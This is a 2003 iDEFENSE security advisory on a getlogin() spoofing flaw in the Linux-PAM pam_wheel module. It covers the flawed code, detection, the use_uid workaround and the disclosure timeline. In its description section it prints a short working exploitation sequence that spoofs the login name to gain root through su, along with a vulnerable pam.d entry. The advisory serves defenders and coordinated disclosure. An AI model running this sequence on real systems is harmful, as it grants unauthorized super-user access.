iDEFENSE Security Advisory 2003-06-16.t

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iDEFENSE Security Advisory 06.16.03:  
http://www.idefense.com/advisory/06.16.03.txt  
Linux-PAM getlogin() Spoofing Vulnerability  
June 16, 2003  
  
I. BACKGROUND  
  
The Pluggable Authentication Module (PAM) is a flexible mechanism for  
authenticating users. More information is available at  
http://www.kernel.org/pub/linux/libs/pam/ .  
  
II. DESCRIPTION  
  
The pam_wheel module of Andrew G. Morgan's Linux-PAM uses getlogin() in  
an insecure manner, thereby allowing attackers to bypass certain  
restrictions. The pam_wheel module is often used with su(1) to allow  
users belonging to a trusted group to utilize the command without  
supplying a password. The module utilizes the getlogin() function to  
determine the name of the currently logged in user. This name is then  
compared against a list of members of a trusted group as specified in  
the configuration file. The following is a snippet of the offending  
section of code:   
  
fromsu = getlogin();  
if (fromsu) {  
tpwd = getpwnam(fromsu);  
}  
  
...  
...  
...  
  
/*  
* test if the user is a member of the group, or if the  
* user has the "wheel" (sic) group as its primary group.  
*/  
if (is_on_list(grp->gr_mem, fromsu) || (tpwd->pw_gid == grp->gr_gid)) {  
if (ctrl & PAM_DENY_ARG) {  
retval = PAM_PERM_DENIED;  
} else if (ctrl & PAM_TRUST_ARG) {  
retval = PAM_SUCCESS; /* this can be a sufficient check  
*/  
} else {  
retval = PAM_IGNORE;  
}  
} else {   
  
If the "trust" option is enabled in the pam_wheel configuration file  
and the "use_uid" option is disabled, any local user may spoof the  
username returned by getlogin() and gain access to a super-user account  
without supplying a password. The following is a sample exploitation  
scenario:  
  
$ w  
10:32am up 3:26, 2 users, load average: 0.01, 0.01, 0.00  
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT  
root tty1 - 7:13am 3:03m 0.30s 0.22s -bash   
farmer pts/0 172.16.60.5 10:32am 0.00s 0.00s ? -  
  
$ logname  
farmer  
  
$ ln /dev/tty tty1  
$ bash < tty1  
  
$ logname  
root  
  
$ su -  
# id  
uid=0(root) gid=0(root)  
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)   
  
III. ANALYSIS  
  
If the appropriate configuration options are enabled, and a member of  
the wheel group is currently logged in, any local user can spoof log  
entries, or, in the worst case scenario, obtain super-user privileges  
depending on the PAM configuration settings.  
  
IV. DETECTION  
  
Linux-PAM 0.77 and previous versions are vulnerable, however, the  
necessary configuration for exploitability must also exist. More  
specifically, a trust of the wheel group must exist in an application  
such as su(1), and the use_uid option must not be enabled. This is  
usually not the default situation with most Linux installations.  
  
The following is a sample default nonvulnerable entry from  
/etc/pam.d/su in Redhat 7.3:  
  
# Uncomment the following line to implicitly trust users in the "wheel"  
group.  
#auth sufficient /lib/security/pam_wheel.so trust use_uid  
  
The following is a sample entry in /etc/pam.d/su that would be  
vulnerable to the described attack:  
  
# Uncomment the following line to implicitly trust users in the "wheel"  
group.  
auth sufficient /lib/security/pam_wheel.so trust  
  
V. WORKAORUND  
  
When utilizing the pam_wheel module, enable the use_uid option. Doing  
so should prevent the login name spoofing from circumventing PAM  
restrictions.  
  
VI. VENDOR FIX  
  
Andrew Morgan does not plan to release a new version of Linux-PAM,  
however, Linux-PAM 0.78, which does fix this flaw, is obtainable via  
the following CVS:  
  
http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/pam/Linux-PAM/  
  
Linux distributors will be releasing their own updates as appropriate.  
  
VII. CVE INFORMATION  
  
The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project  
has assigned the identification number CAN-2003-0388 to this issue.  
  
VIII. DISCLOSURE TIMELINE  
  
21 OCT 2002 Issue disclosed to iDEFENSE  
22 NOV 2002 Andrew Morgan (Linux-PAM maintainer) notified  
23 NOV 2002 Response received from Andrew Morgan  
25 NOV 2002 iDEFENSE clients notified  
14 DEC 2002 Patch provided to iDEFENSE for validation  
14 JAN 2003 Issue fixed in CVS  
09 JUN 2003 Andrew Morgan contacted re: availability of next   
stable release  
09 JUN 2003 [email protected] informed of CVS updates  
16 JUN 2003 Coordinated public disclosure  
  
X. CREDIT  
  
Karol Wiesek ([email protected]) is credited with discovering this  
vulnerability.  
  
  
Get paid for security research  
http://www.idefense.com/contributor.html  
  
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send email to [email protected], subject line: "subscribe"  
  
  
About iDEFENSE:  
  
iDEFENSE is a global security intelligence company that proactively  
monitors sources throughout the world - from technical vulnerabilities  
and hacker profiling to the global spread of viruses and other  
malicious code. Our security intelligence services provide  
decision-makers, frontline security professionals and network  
administrators with timely access to actionable intelligence and  
decision support on cyber-related threats. For more information, visit  
http://www.idefense.com .  
  
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